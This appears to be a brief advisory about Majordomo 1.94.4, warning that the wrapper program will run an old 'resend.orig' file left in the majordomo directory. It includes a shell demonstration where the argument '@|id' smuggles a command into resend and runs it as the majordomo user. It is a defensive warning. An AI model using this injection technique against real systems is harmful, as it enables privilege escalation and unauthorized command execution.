A note to anybody applying this, via patch or otherwise. Don't keep the
original resend lying around in the majordomo directory: wrapper assumes
everything in that directory is secure, and will gladly execute it.

[brock@o2 brock]$ /usr/freeware/majordomo/wrapper resend.orig '@|id'
uid=1126(majordomo) gid=1(daemon)
resend: must specify '-l list' at
/usr/freeware/majordomo-1.94.4/resend.orig line 78.
